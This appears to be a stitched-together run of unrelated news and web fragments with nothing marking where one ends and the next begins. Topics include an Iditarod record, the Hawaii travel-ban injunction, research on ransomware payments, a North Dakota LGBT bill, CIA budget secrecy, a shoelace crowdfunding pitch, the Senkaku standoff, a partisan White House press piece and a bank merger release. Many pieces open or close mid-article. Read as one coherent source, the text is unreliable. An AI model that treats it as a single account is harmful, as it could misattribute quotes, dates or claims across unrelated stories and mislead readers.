A month before the Iditarod began, race officials said they planned to move the official start north, from Willow to Fairbanks. The course out of Fairbanks includes more running on frozen rivers in comparison to the Willow route that sends mushers over the Alaska Range.
But, Seavey said he didn't know if the course necessarily contributed to the fast race.
"I'm not sure whether it's slower to go a couple hundred miles on the Yukon at 50 below or take a little hop over the Alaska Range," he said. Still, he gave the trail the grade of "A-minus."
‘Let ’em roll’
Throughout much of the 1,000-mile course, Seavey's team held its speed, allowing him to pull away from the other frontrunners.
"They love speed," Seavey said of his sled dogs. "I think it frustrated them to go too slow, so I just let 'em roll. It was scary because I've never gone that far that fast ever, but that's what they wanted to do and maybe it's a new chapter."
Seavey's team recorded runs that averaged 10 and 11 mph between some checkpoints and the separation he built over other racers gave him the flexibility to bank generous rest for his dogs, and himself, as they moved up the Norton Sound coast in the race's final days.
"They only know one thing and that's 9.5 to 10 mph and they hit their feet, and they hit their speed and that's what they do. And they trusted me to stop them when they needed to be stopped, and feed them, and I did that, and they gave me all they could. But I guarantee they're tired now," said the new champion.
Seavey attributed his speed in part to a year-round training schedule, setting their pace at 10 mph if the trail allowed it.
"I hope this becomes the standard and I don't want to speak less of any of my competitors, but if we can prepare our dogs for what we're about to do, and perform in that zone, they should eat, they should be comfortable, and they should be happy all the way through. And yeah, they'll be tired. It's an athletic event. Tired at the end is what you're looking for," Seavey said.
"I'm very pleased that it all played out on the big stage here."
Hauling dogs
During the race, Seavey also used his sled to haul dogs, resting them in compartments the way a coach rests players on a bench. While he said it made his sled heavy and hard to manage, it probably contributed to the new speed record.
His son, Dallas, also unveiled a high-tech sled this year to continue hauling sled dogs, as he'd done in previous races, months after the Iditarod banned mushers from carrying dogs in cabooselike trailers attached to the back of their sleds.
"It probably contributed to the record, though I would like to try it without hauling dogs," Seavey said.
On Tuesday morning, Seavey left White Mountain with a lead of more than two hours over Dallas and Girdwood musher Nicolas Petit. He expanded it to nearly three hours over the last 77 miles.
His first-place finish earned him a $71,250 check and new truck, and his record time to Nome proved once again that the multiweek race of the Iditarod's early years has become more of a long-distance sprint.
Seavey's time was more than 12 days faster than the winning time of the slowest Iditarod, 20 days, 15 hours in 1974 by the late Carl Huntington. He said Tuesday he didn't doubt the race could be done in less than eight days.
"Part of this is about continuing to adapt and change and grow," the 2017 winner said in an Alaska Dispatch News interview last year. Seavey ran his first Iditarod at age 22, and has started 24 races total."I feel like if you sit still, you get run over."
Which may be exactly how his competitors are feeling today.
Even with hundreds of miles to go in the race earlier this week, the mushers behind Seavey questioned how they would ever catch up. They never figured it out.
‘Nothing short of spectacular’
His son, four-time champion Dallas Seavey, 30, finished in second, at 6:24 p.m. Nicolas Petit, 37, followed only five minutes behind the younger Seavey, placing third, Petit's best finish yet.
Both also came in under the now former race record, set in 2016.
Mitch Seavey's father, 79-year-old Dan Seavey, said he watched his son's race in awe. Dan has raced five Iditarods, the first two in 1973 and '74. In the first race he placed third with a finish in 20 days, 14 hours, 35 minutes and 16 seconds.
He said he never could have imagined the race would continue for so many years or become this fast. His son's performance, he said, was "nothing short of spectacular.
March 30, 2017, 3:21 AM GMT / Updated March 30, 2017, 3:58 AM GMT By Phil Helsel
A federal judge in Hawaii on Wednesday extended his previous ruling blocking President Donald Trump’s so-called "travel ban" that would have restricted entry to the United States by refugees and people from some predominantly Muslim countries.
U.S. District Judge Derrick Watson granted a motion by the state to turn his temporary restraining order blocking Trump’s revised executive order into a preliminary injunction. The move extends the ban on enforcement while the case moves forward.
The government also sought to have the judge limit the injunction to just the issue of visas from six predominantly Muslim nations, and not on a 120-day hold on refugees, but the judge declined to do so and that part of Trump’s order remains blocked.
Trump's executive orders restricting entry to the United States of nationals from several predominantly Muslim countries has been criticized as effectively a "Muslim ban," something Trump has denied.
Trump has said the orders were necessary to protect Americans from terrorism and campaigned on a pledge to institute "extreme vetting" of foreigners seeking to enter the country.
"We do not fault President Trump for being politically incorrect. We fault him for being constitutionally incorrect," Hawaii Attorney General Doug Chin said in his opening arguments to the court Wednesday, according to NBC affiliate Hawaii News Now.
Watson, who was appointed by former President Barack Obama, on March 15 issued a temporary restraining order that blocked implementation of Trump’s revised executive order, which the president issued after a federal judge in Washington blocked his first order and after an appeals court refused to reinstate it.
The new order lowered the named nations from seven to six — Iraq was dropped from the list — and it does not explicitly apply to current lawful permanent residents and green card holders, among other changes.
Both orders also would have put on hold admissions to the United States of refugees for 120 days. The first order indefinitely suspended admission of Syrian refugees, but that was dropped in the revised order.
In court Wednesday, Department of Justice attorney Chad Readler argued Hawaii has only made generalized concerns about effects to students and tourism. He said suspending the refugee program has no impact on Hawaii.
But Hawaii Attorney General Douglas Chin said language in the revised ban is like a "neon sign flashing 'Muslim Ban, Muslim Ban.'" And Chin said no one in the government has bothered to turn it off.
A separate ruling in Maryland blocked enforcement of Trump’s order that affected visas, but that narrower ruling did not affect the restrictions on refugees.
A Trump administration official said Thursday, "The Department of Justice is reviewing the ruling and considering the best way to defend the President's lawful and necessary order."
Trump reacted to Watson’s March 15 restraining order by calling the ruling "an unprecedented judicial overreach."
Hawaii's motion to convert the temporary restraining order to a preliminary injunction quoted the president, who called it a "watered down version" of the first order, in arguing that the two orders had the same intent.
Wednesday’s ruling left in place the previous decision to block the key parts of Trump’s executive order. The human rights group Amnesty International Wednesday night characterized it as another defeat for the controversial presidential action.
Security experts say having offline backup files are the only way to protect yourself from ransomware. (Photo11: Getty Images/iStockphoto)
SAN FRANCISCO — Ransomware surged last year, becoming a multi-million dollar business that's so profitable it's creating a "vicious cycle" of ever-increasing attacks, say researchers at New York University and Google who tracked the criminals' payment networks.
“It’s here to stay,” said Elie Bursztein, anti-abuse research lead at Google.
The findings suggest that — even though the last two large ransomware attacks, WannaCry and Petya, did not seem to raise that much money — the criminal cyber industry in general has much to gain by exploiting users with these attacks.
The research team was able to track ransomware payment addresses and information via public sales of the digital currency bitcoin, watching more than $25 million in payments over the past two years. They plan to present their research on Wednesday in Las Vegas at Black Hat, one of the country's largest computer security conferences.
Ransomware is malicious software that criminals use to first infect a victim's computer and then encrypt the files on it. To regain access to their files, victims must pay a ransom, typically in anonymous digital currency such as bitcoin.
It is increasingly one of the biggest money-makers for cyber criminals, who have been diligently creating new forms of it to boost their earnings. A recent variant, Cerber, is able to fully encrypt a newly-infected computer in under a minute and has consistently made $200,000 per month over the last year, the researchers found.
“It’s a vicious cycle, the more money they make, the more aggressively they spread the malware,” said Bursztein.
Related:
One popular method is "ransomware-as-a-service," where criminal organizations rent out ransomware programs and the support system necessary to get paid to other criminals, charging a cut of the profits for the service, according to a 2017 Verizon report on data breach investigations.
Other innovations include time limits after which the criminals delete encrypted files, ransoms that increase the longer the victim takes to pay, ransom prices that vary based on the estimated sensitivity of filenames and a new option that allows victims to decrypt their files for free if they help infect others.
Ransomware programs aren't typically “owned” by any one group of criminals. In fact, the researchers tracked 34 different families of ransomware that are being distributed by criminals.
However, some of those criminals are better at making money off their crimes than others and have developed real expertise in how to push their programs out to more victims and make it easy for victims to pay them, said Damon McCoy, a New York University computer science and engineering professor who researches ransomware.
Criminal innovations: help desks
This can include amenities such as multi-lingual help desks to assist the victims in buying digital currency to pay the ransom.
With these new features, infection numbers began to shoot up in the second quarter of 2016 and have stayed high ever since — and it doesn't seem likely they're going to come down any time soon because it's such a profitable crime, said McCoy.
It’s also difficult to stop because it’s hard to track where the money’s going and thus find the criminals who are receiving it. The research team found that 95% of the ransoms they observed being paid went through BTC-E, a bitcoin exchange platform.
“It’s hard for law enforcement to put pressure on BTC-E because it’s a Russian-operated bitcoin exchange," said McCoy.
Google has seen concern about ransomware among the public ratchet up significantly in the past year and a half. Searches about ransomware have increased more then ten times, said Berzstein.
While the researchers couldn’t offer a fix for the overall problem of ransomware, they did have one piece of advice – back data up regularly. A Google survey found that just 37% of people do so, putting them at risk for losing irreplacable photos and documents forever.
“We really really want to encourage people to back up their files,” said McCoy.
House Bill 1386 would have extended protection to LGBT individuals that would have shielded them from job and housing discrimination and from being refused service, but was defeated in a 22-69 in the state House of Representatives. The law also included hiring exceptions for religious employers.
It is the fourth time this kind of bill has been defeated by the Legislature within the past 10 years.
Recent changes in discrimination protections in Grand Forks include two 2013 measures that prohibit discrimination against LGBT persons in housing and under employment with the city.
Grand Forks legislators voting for the bill included Democrat representatives Corey Mock and Lois Delmore; and Republican representatives Mark Sanford, Emily O’Brien and Jake Blum. Grand Forks legislators voting against the bill included Republican representatives Mark Owens, Steve Vetter and Rich Becker.
Becker defended his vote against the bill as a vote both in line with his own beliefs and those of his constituents, citing a reluctance to pass legislation when he said he believes resources are available for LGBT persons at the state and federal level who have been discriminated against.
“Probably any lawyer in Grand Forks would know the proper procedure to follow up in pursuing a redress when somebody feels something has happened to them,” he said “All I can say is, they should feel safe, they should feel welcome, they have a right to any lifestyle that they choose. From what I know, the laws that we have are adequate to protect them -- all of us as citizens.”
Mock, the House minority leader, said he was disappointed there wasn’t more political will among Republicans to workshop the bill into something more legislators would feel comfortable voting for. He said that Republicans who wish to work to make the bill into law will “have a warm reception in our caucus.”
Kyle Thorson, an organizer of the LGBT event Grand Forks Pride, expressed his disappointment at the bill’s failure, as well, though he said a version of the bill will likely return to Bismarck.
“I think we continue on like we have been for the last four years. We make sure there’s faces in the community….that people know there’s somewhere people can go for support, be that a city resource or a local community resource,” he said
Other city leaders
City Council Vice President Ken Vein said he was uncomfortable commenting on a bill that he wasn’t familiar with, pointing out his high involvement with city infrastructure planning.
“I don’t know what it is beyond what we have already done (in Grand Forks), so it’s hard to respond,” Vein said.
Grand Forks Mayor Mike Brown said he agreed with Sande that it’s “unfortunate we’re still having this discussion.” He said he has not read the bill, and thus couldn’t offer unqualified support for it, but he said he was proud of Grand Forks’ passage of LGBT housing protections in 2013.
"I do support the concept that discrimination based on any item is wrong,” Brown said. “We're equal under the law.”
Steven Aftergood, director of the Project on Government Secrecy at the Federation of American Scientists, expressed amused satisfaction that the budget figure had slipped out.
"It is ironic," Mr. Aftergood said. "We sued the C.I.A. four times for this kind of information and lost. You can't get it through legal channels."
Only for a few past years has the budget been disclosed. After Mr. Aftergood's group first sued for the budget figure under the Freedom of Information Act in 1997, George J. Tenet, then the director of central intelligence, decided to make public that year's budget, $26.6 billion. The next year Mr. Tenet did the same, revealing that the 1998 fiscal year budget was $26.7 billion.
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But in 1999, Mr. Tenet reversed that policy, and budgets since then have remained classified with the support of the courts. Last year, a federal judge refused to order the C.I.A. to release its budget totals for 1947 to 1970 -- except for the 1963 budget, which Mr. Aftergood showed had already been revealed elsewhere.
In court and in response to inquiries, intelligence officials have argued that disclosing the total spying budget would create pressure to reveal more spending details, and that such revelations could aid the nation's adversaries.
That argument has been rejected by many members of Congress and outside experts, who note that most of the Defense Department budget is published in exhaustive detail without evident harm.
The national commission on the terrorist attacks of Sept. 11, 2001, recommended that both the overall intelligence budget and spending by individual agencies be made public "in order to combat the secrecy and complexity" it found was harming national security.
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"The taxpayers deserve to know what they're spending for intelligence," said Lee H. Hamilton, the former congressman who was vice chairman of the commission.
Even more important, Mr. Hamilton said, public discussion of the total budgets of intelligence agencies would encourage Congress to exercise "robust oversight."
The debate over whether the intelligence budget should be secret dates to at least the 1970's, said Loch K. Johnson, an intelligence historian who worked for the Church Committee investigation of the intelligence agencies by the Senate in the mid-1970's. Mr. Johnson said the real reason for secrecy might have less to do with protecting intelligence sources and methods than with protecting the bureaucracy.
Group A:
Dignitas (1st place IEM qualifier)
CLG (replacing asian invite)
TSM (3rd place IEM qualifier)
Fnatic (1st/2nd place IEM qualifier)*
Group B:
Rez (2nd place IEM qualifier)
Curse (4th place IEM qualifier)
Cypher (3rd place IEM qualifier)
SK (1st/2nd place IEM qualifier)*
*afaik the entire EU tourney was not completed, so SK and Fnatic both finished at the top with Cypher being in the losers bracket.
Even if we completely discount past performance, these groups are stacked based on the qualifier results alone. the last place finishers from both EU and the US should not be in the same group, while the 1st place finishers from 3 qualifiers (asian, US, EU) are all in the same group.
Now if we look at the seeding based on past performance and expectations it is even more unbalanced. We can compare the american teams seeding based on seeding at the upcoming IPL at atlantic city.
1) CLG (Group A)
2) TSM (Group A)
3) EG
4) Dignitas (Group A)
5) Curse (Group B)
6) Rez (v8) (Group B)
7) Complexity
8) Goose
American seeds #1 #2, and #4 are in the same group (group A) with Fnatic, who are potentially the best team in EU based on their past Dreamhack victory.
Meanwhile, Group B has the #5 and #6, as well as Cypher who afaik have never competed in a major tourney or placed highly in the IEM qualifier.
I would just like the seedings to be more balanced. I know people are excited to see the "group of death" but it's not terribly exciting to be a part of it.
The province is seeking an exemption to a federal moratorium so restaurants in the province can hire such workers.
Kenney told the Commons the moratorium was imposed to protect Canadians who are looking for work.
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(What is the Temporary Foreign Worker Program? Read The Globe's easy explanation)
The federal minister pointed out that 14 per cent of Quebec youth are unemployed, as are 20 per cent of new arrivals to the province.
Ottawa announced the moratorium in late April after reports suggested the program was being abused by the food-service industry.
A spokesman for Quebec Immigration Minister Kathleen Weil said on the weekend the province has no problem with the program and that restaurants need temporary foreign workers to keep operating, especially in the summer.
The moratorium has been widely criticized by industry groups, with Quebec's restaurant association calling it "exaggerated and unreasonable."
Earlier on Monday, federal Citizenship and Immigration Minister Chris Alexander said the moratorium was imposed for "very good reasons."
"There was abuse, and we are absolutely committed to completing the review and the reform we have under way," he said at an unrelated event in Montreal.
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"And I can assure you and her [Weil] and Canadians across the country that when this program is relaunched, it will not be subject to abuse."
He said the hiring of temporary foreign workers should be a "last resort."
"There are young people across Canada … who are looking for permanent jobs and summer jobs and our first obligation as employers is to look to the domestic market."
Weil and Alexander were to have met Monday but it was unclear whether they did.
That aside, what’s even more convincing is the fact that the “Let them eat cake” story had been floating around for years before 1789. It was first told in a slightly different form about Marie-Thérèse, the Spanish princess who married King Louis XIV in 1660. She allegedly suggested that the French people eat “la croûte de pâté” (or the crust of the pâté). Over the next century, several other 18th-century royals were also blamed for the remark, including two aunts of Louis XVI. Most famously, the philosopher Jean-Jacques Rousseau included the pâté story in his “Confessions” in 1766, attributing the words to “a great princess” (probably Marie-Thérèse). Whoever uttered those unforgettable words, it was almost certainly not Marie-Antoinette, who at the time Rousseau was writing was only 10 years old—three years away from marrying the French prince and eight years from becoming queen.
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Plain and simple, bow knots are eyesores. Why do you think retail stores don't display their shoes with them? They hide them by tucking them inside the shoes. Unfortunately the bow knot has been around for WAY to long and we just feel like it's time to eliminate them! If you currently tie knots behind your tongue or shove the laces inside your shoes to hide the bow knot, you will love what Lace Anchors 2.0 will do for you! Simplicity, comfort, and style all in one!
It seems to Never fail. Just when you get warmed up and your going strong, it happens, your shoe comes untied! I may have put on a few pounds over the winter so far, but I'm a fairly frequent runner. I have put over 250 miles on a pair of my running shoes with Lace Anchors installed and the results are FLAWLESS. Your shoes always have the same consistent fit and your laces never come undone! Laces that shift during exercise becoming tighter or looser on the bridge of your foot is uncomfortable and can lead to tendonitis. Not joking!
Something that has always bothered me was my pants getting hung up or caught on the bows of my shoelaces. Seems like every time I go to stand up I have to adjust my pants to eliminate this. I have some OCD tendencies, but this one is up at the top of the charts. Even if nobody buys Lace Anchors 2.0, at least my OCD issue can lay at rest!
Kids and Laces, need I say more?
I have always been intrigued by simple effective designs. Some of the simplest designs that we use today have been around FOREVER! What I'm really excited about is the fact that Lace Anchors will be utilized by individuals every time they put their shoes on, not only when they actually slip them on, but the entire time they have their shoes on! This means the Lace Anchors 2.0 is actually in physical use doing it's job with every step you take, not to many products can claim this!
Installation is so easy! Our packets will include step by step instructions with pictures on the back, or to make it even EASIER just watch the video below! Make sure to install the Lace Anchors 2.0 with your foot in your shoe as shown in the video, that will allow you to find the perfect fit that your looking for. This is the type of product that you will use not even realizing how simple and comfortable they make everyday life with your shoes, until you go without them. Once you use them in one pair of shoes, you'll be hooked!
So what did I learn from this? I learned that Lace Anchors 2.0's are crazy strong especially for their size and this is proof that they definitely hold your laces perfectly in place. I also learned that it's time to hit the gym again because that felt really heavy! Unfortunately this project has taken up all my running and gym time.
Lets face it, if you have kids shoelaces can be a pain. Not only for the kids but for the parents as well. Kids love independence, they feel big when they can put their shoes on without your help. I have a 4 year old boy and a 6 year old girl that would constantly be running around with laces coming undone. Kids get so involved in what they are doing, they'll just leave their laces untied which can lead to potentially dangerous situations. The morning rush to get to the car for school is so much easier now because they just simply slip their own shoes on and off we go, no more tying! It's also nice to know that we are helping the teachers out by allowing them to actually teach instead of running a shoelace tying factory! Untied laces in the classroom is never-ending, just ask a teacher. We recommend using Lace Anchors 2.0 on kids shoe sizes 2 youth and up.
In 2012 we managed to land deals with some of the most Amazing athletes on the planet. These Mountain Bike athletes compete in some of the most prestigious invite only events in the Mountain Bike world! It's awesome to know our product is doing it's job with every push of the pedal. Not once did our team have any issues with their Lace Anchors the entire season!
http://www.redbullusa.com/cs/Satellite/en_US/Video/Brendan-Howey-first-run-from-Red-Bull-Rampage-2012-Finals-021243269346120
The above link shows footage of our 2012 Team Rider Brendan Howey from the Prestigious event Redbull Rampage. The biggest and best dare to conquer these trails. It's awesome to know we kept his shoes in place! Mountain bike Riders love our product because not only do we keep their shoes secure, we also eliminate the bows and knots from their shoes that could potentially come undone or/and get tangled in pedals and chains.
http://www.pinkbike.com/video/272922/
The above link is some awesome footage of our 2012 Team Rider Jack Fogelquist doing an insane trick in competition. You can see Jack Throw his feet around without hesitation. Looks like we did our job!
EVERYTHING Starts somewhere. Sometimes the simplest things get looked past because we are looking for the bigger things. Sometimes big things can happen from simple things. My kids managed to negotiate a trip to Chuck E Cheese's in exchange for the blocks!
Some samples that were cut from a water jet for testing. The product and material was a FAIL. Next!
Fresh out of the mold from one of the very first runs of the ORIGINAL design that I came up with. This is basically what we will be producing but in the new Lace Anchors 2.0 version. As you can see the bottom slot has changed significantly with the new Lace Anchors 2.0 allowing nearly every shoelace out there to fit and stay snuggly in place. The dimensions and spacing between the holes and slot have changed and the outside edges are more rounded making the new unit smaller in size (sometimes smaller is better!) ultimately making the Lace Anchors 2.0 a flawless design in my book!
Testing, Testing, and more Testing. I have hundreds of these bags from different tests myself, my father and others have performed on Lace Anchors. Something so simple yet with so many shoes and laces out there, things can get complicated quickly.
Just a FEW of the MANY different designs that were tested while creating the Lace Anchors 2.0. It may seem like it would be simple but we needed the product to work with nearly every single shoelace out there, along with enabling a simple installation. We hit the nail on the head with the Lace Anchors 2.0. It's an extremely simple but functional design. It came down to thousandths of an inch to make our product perfect. By the way, everywhere I say we, that includes me, my wife, my kids, my mother, and the other person putting heart and soul into this project, my father. The Lace Anchors Team.
This is what I saw today when I opened my garage door and I thought what a great shot. You think my family uses Lace Anchors? No bow knots around here!
Disclaimer: There were no endorsements by any Brands for this project. All shoes used in the pictures or videos were paid for and are my personal property. Although our product is used in all of the shoes in these pictures and/or videos, the shoes work perfect in their natural state without Lace Anchors 2.0. Our product simply gives the user an optional way to keep their shoes secure.
F.A.Q.
1. When will I Receive my Lace Anchors 2.0?
We could possible begin shipping as early as Late March if all goes perfect, if we see our funding goal is going to be met without any doubts, we will get a head start where we can.
2. Do Lace Anchors work with "All" Shoes?
There are so many shoes it's impossible to test on all of them. If you have eyelets and shoelaces, odd's are that they will work great. They won't work on work boots or high tops that are laced up to the base of your calves.
3. Can I run with Lace Anchors 2.0 installed?
Absolutely, I ran 2-4 miles everyday for 2 months straight with my Lace Anchors 2.0 installed. For those of you that have struggled with heel slippage problems throughout your life, watch the "another option" video in the above section.
4. Are Lace Anchors 2.0 adjustable?
Lace Anchors 2.0 allow you to find the sweet spot when installing. This means you will be able to find the fit you desire and how tight or loose you decide to make your slip-ons. For my regular everyday use, I like my shoes to slip on and off extremely easy, for my running shoes I prefer a snug fit.
5. Are Lace Anchors 2.0 adjustable after I Trim the Laces?
absolutely, although it may require a little more effort than your initial install.
6. Do I need any special laces?
No, That is what is great about this product. You do not need any special laces or crazy looking devices hanging off the top of your shoes. This product allows you to use the laces that come with your shoes.
7. Do they work on kids shoes?
I have them in my 6 year old daughters shoes and my 4 year old sons. I would say they work best in children's size 2 Youth and up. My kids love not having to worry about tying their shoes.
8. Can you ship international?
Yes. We will ship ANYWHERE in the world and there is no additional cost!
9. Can I pledge multiple rewards?
You can multiply any reward you would like. Just multiply the pledge amount by the number of rewards you would like. If you want 18 packs, just double the pledge amount for the 9 Packs reward.
10. What if my credit card is expiring before the funding date?
Now, PRIV has one more claim to fame. Yesterday, popular online tech magazine Tom’s Guide announced it as the winner of its 2016 Smartphone Madness Competition. Modeled on the NCAA ‘March Madness’ Basketball tournament, the contest pits the 16 top smartphones on the market against one another in a series of one-on-one rounds, urging users to vote on which device they love the most.
Even with heavy hitters like the Samsung Galaxy S7, Apple iPhone 6S, and Google Nexus 6P in the running for this year, PRIV emerged victorious.
“PRIV won the final round of Smartphone Madness, capturing 69% of the vote,” writes Philip Michaels of Tom’s Guide. “That was enough to propel BlackBerry’s first Android phone past the Alcatel Idol 4 and 4S, which finished with 31 percent. The finals completed a dominant run by the PRIV, which never got less than 69% of the vote in its four match-ups against other top devices.” (PRIV also defeated the Sony Xperia X, the Google Nexus 6P and 5X, and the HTC One A9)
“As we noted in our review of the phone, the PRIV brought a more modern Android OS to the features that helped BlackBerry dominate the smartphone world prior to the iPhone’s arrival – a slide-out physical keyboard, robust productivity apps, and strong security,” added Michaels.
PRIV brings the best of our security, privacy and productivity to the flexible and diverse Android ecosystem. It’s the best of both worlds – and people have recognized that this is what truly sets it apart. Why not look into ordering a PRIV and seeing for yourself?
Their album art
When the two warships were only 3 km apart, the Chinese frigate turned on its fire-control radar that aims its 100mm gun and C-802 anti-ship missiles and “painted” the Japanese vessel. The Japanese destroyer went to battle stations and targeted its weapons on the Chinese intruder.
Fortunately, both sides backed down. But this was the most dangerous confrontation to date over the disputed Senkakus. Japan and China were a button push from war.
Soon after, a Japanese naval helicopter was again “painted’ by Chinese fire-control radar. Earlier, Chinese aircraft made a clear intrusion over waters claimed by Japan.
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China’s Peoples Liberation Army HQ ordered the armed forces onto high alert and reportedly moved large numbers of warplanes and missile batteries to the East China Sea coast.
A U.S. AWACS radar aircraft went on station to monitor the Senkaku/Diaoyus—a reminder that under the 1951 U.S.-Japan mutual defense treaty, Washington recognized the Senkaku Islands as part of Japan and pledged to defend them if attacked. Japan seized the Senkakus as a prize of its 1894-95 war with Imperial China.
China’s state-run media claimed the U.S. was pushing Japan into a confrontation with Beijing to keep China on the strategic defensive.
Japan’s newly elected government led by conservative PM Shinzo Abe vowed to face down with China. Spasms of angry nationalism erupted in both feuding nations. The Philippines, Taiwan, and Vietnam, who also claim the Senkakus, chimed in with their territorial demands.
A special Chinese crisis group led by new President Xi Jinping has been set up to deal with the Senkakus—meaning any clash there may be more likely to become a major crisis.
Shades of August, 1914, when swaggering, breast-beating, and a bloody incident triggered World War I, a conflict few wanted but none could avoid.
Japan is in a difficult situation over the Senkakus. Its nearest air bases are in Okinawa, 500 km away; Japan’s main airbases are 1,000 km further to the Northeast.
Japan’s F-15J strike aircraft have the combat range to cover the Senkakus but they cannot linger for long with full bomb loads due to the long distances involved. By contrast, Chinese warplanes based on the coast near Fuzhou are well within range of the Diaoyus.
Japan’s defense architecture was built to stop an invasion by the Soviet Union. Its so-called Self Defense Forces are able but not configured for long-range offensive operations. China’s are. They have been redesigned with a major amphibious invasion of Taiwan and a fight with the U.S. Seventh Fleet in mind.
Unless U.S. carrier strike groups intervened, Japan would probably face defeat in a clash with China over the islands, a fact that has Tokyo deeply worried. This latest crisis again reminds Tokyo that it is naked before China’s nuclear weapons. Recent incursions over Northern Japan by Russian warplanes did nothing to calm Tokyo’s nerves.
However, war between China and Japan sounds as crazy and illogical as war between China, and the U.S. Japan is China’s largest foreign investor, having discreetly built much of China’s industry. China is a major export market for Japan. A war against China would shatter Japan’s prosperity and force it to embark on a hugely expensive armaments campaign, including building nuclear weapons—which it has the capability to do in 90 days.
China has no desire to fight the United States unless absolutely necessary, and less to spark a U.S. trade embargo. China holds over $1 trillion in U.S. government debt. Beijing has no desire to panic all of East Asia.
A war over the Senkaku/Diaoyus would be like the 1998-2000 desert war between Eritrea and Ethiopia, described as “two bald men fighting over a comb.” No matter how much fish swim around the Senkakus, or how much oil and gas may be found underwater, nothing justifies a war.
But then again, nothing justified World War I that began by a murder in obscure Bosnia. Pray for cool heads in Beijing and Tokyo.
Ford has started equipping its designers with HoloLens, the augmented reality technology Microsoft is rolling out for commercial and industrial applications. Outfitted with the holographic goggles, these Detroit denizens can stand in front of clay models of cars and see 3-D vehicle elements digitally overlaid onto them, so they can quickly evaluate and alter new car designs.
“This ability to mesh digital and physical worlds together is for us the future of designing products,” says Craig Wetzel, Ford’s manager of design technical operations. “It also places our engineers and designers in the same space, speeding that relationship along, as well.”
Augmented reality technology has already begun wrapping its tentacles around the auto industry. Genesis uses it in its digital owner’s manual. Jaguar provides virtual test drives through an AR app. Porsche engineers use the tech on the Panamera assembly line.
Wearing wireless headgear with a built-in Windows 10 computer, the designers can experience any given feature as a real world driver would. Is the side mirror is too large? Just pinch your fingers to shrink it. The front bumper’s too obtrusive? Rein it in with a wave of your hand. Ready to fix something else? Cycle through design elements with a flick of the finger.
For now, Ford is only using Hololens to work on details, not in the early design phase where the vehicle first takes shape. (Clay modeling is here to stay.) The goal is to deploy the tech where it can deliver the most concrete benefits. Ford thinks this technology will make the new-vehicle design process more efficient, specifically when it comes to integrating pesky engineering requirements, since AR-equipped teams in offices around the world can see the designs simultaneously.
“In today’s world, my design team might make a mirror that we have to digitally render, send to the engineers so they can study it, and then make changes based on their feedback,” Wetzel says. “That takes time, and we find ourselves out of phase there a lot. But placing engineering and design in the same space, a process we call co-creation, streamlines that interaction.”
Those potential time savings could even lead to better final products. “It will streamline the design process and allow designers more time to fine tune their concepts for their target market,” says Antonio Borja, who runs the Academy of Art University’s School of Industrial Design, in San Francisco. “AR will also create much more intuitive designs, as the concepts will be evaluated in real time as they are being developed.”
For Microsoft, it’s a chance to deliver on its broader vision of creating technology with which humans naturally interact. So far, so good. Ford’s design process is more efficient, and the work is more pleasant. “It is more natural and humanistic, in a way,” Wetzel says. “It’s how we would want to create. It’s also more fun—both fun to use and fun to share with others.”
Later, NBC's Chuck Todd slammed Obama's doubletalk on a press shield law, which could have prevented the DOJ from secretly monitoring dozens of journalists' work and personal phone records for months. Obama said one thing as a Senator and a candidate, then reversed himself as president. Jay Carney tried to pin this on the Bush administration, natch (video available at the link):
Todd: You keep talking about then Sen .Obama supported a certain piece of legislation that, in fact, as president he killed that piece of legislation in October of 2009 — and made it so that the protections he supported, having judicial review … there was an opportunity to have this bill passed…and he said the White House had problems with it and he killed it.
Carney: First of all, you’re talking about separate pieces of legislation and a legislative history that bears a little more looking into. The president’s position on this is what it was as a senator. But the fact is I cannot then appropriately apply his support for that measure..
Todd: If he supported that piece of legislation, we wouldn’t be having this conversation today because he supported a judicial review that seemed to settle this –
Carney: And what happened to it in 2007?
Todd: I’m asking you what happen in 2009 when he was president of the United States.
At one point, a flummoxed Carney told Todd he could ask Obama about the issue at the next presidential press conference, whenever that might be. This from the official White House spokesman. You know it's a tough day when Carney takes a smirking shot at Fox News and is greeted with crickets . You know it's an even tougher day when Carney and Obama's performances get dumped on by...on"Exceedingly passive:"
Carney's marching orders today were to convey two primary messages: First, that Benghazi is a "circus" and "sideshow" motivated by partisanship. (One wonders what Patricia Smith and loyal Democrat Greg Hicks might have to say about that sneering accusation. Amb. Chris Stevens couldn't be reached for comment). Translation: Benghazi is the bogus "scandal," reporters, so let's clear the decks on that one. Never mind the new evidence of political manipulation, the administration's shifting story, and whistle-blowers' impactful sworn testimony. No, the whole controversy is just "a deliberate attempt to politicize a tragedy," Carney said, scolding those Americans who care about the truth. What a disgusting evasion. By the way, Carney went on to aver that the president is committed to "finding out who did it, finding out why, and taking the steps necessary" to ensure that it doesn't happen again. Doesn't Carney remember his own dismissive formulation that Benghazi "happened a long time ago"? The White House has been patting us on the head by talking about gathering all the facts and holding people accountable for eight months. During that time, there have been no arrests made, and no one has been fired. Can you imagine if eight months had passed after the Boston bombings without a single arrest? That attack was perpetrated by two men who killed three people; Benghazi was perpetrated by dozens of terrorists who killed four people, including our ambassador. The administration's official line on Benghazi ("we're blameless, you're crazy or partisan") is overtly political, callous, and insulting.
Second, as for the "real" scandals at the IRS and DOJ, the president didn't know anything, and it would be "wholly inappropriate" for him to comment further until all the facts are known. The best spin they have at their disposal is to argue that the President of the United States has to turn on the nightly news to find out what's happening the government he runs.
The transaction is subject to customary closing conditions, including approval by federal banking regulators in the United States and CIBC's banking regulator in Canada. On May 3, 2017, the Illinois Department of Financial and Professional Regulation, Division of Banking, issued an order approving the transaction. The companies are confident that the remaining closing conditions will be satisfied in time to close the transaction in June 2017.
"We are pleased with the outcome of today's vote and thank our stockholders for their support," said James M. Guyette, Chairman of the Board of Directors, PrivateBancorp, Inc. "This strategic combination creates meaningful value for stockholders, and we look forward to completing the transaction in June."
Larry D. Richman, PrivateBancorp President and Chief Executive Officer, added, "Today's vote reinforces our stockholders' support for the strategic opportunity a combination with CIBC offers. This will make our strong bank even stronger with the same commitment to building long-term client relationships, the same experienced team, and the same dedication to Chicago and all of the communities we serve. We look forward to working with CIBC to successfully complete the transaction and realize the full benefits of the combination for all stakeholders."
Final voting results for the special meeting will be disclosed in a Form 8-K expected to be filed with the SEC later today.
About PrivateBancorp, Inc.
PrivateBancorp, Inc., through its subsidiary The PrivateBank, delivers customized business and personal financial services to middle-market companies, as well as business owners, executives, entrepreneurs and families in all of the markets and communities it serves. As of March 31, 2017, the Company had 36 offices in 13 states and $20.4 billion in assets. The Company's website is www.theprivatebank.com.
Forward Looking Statements
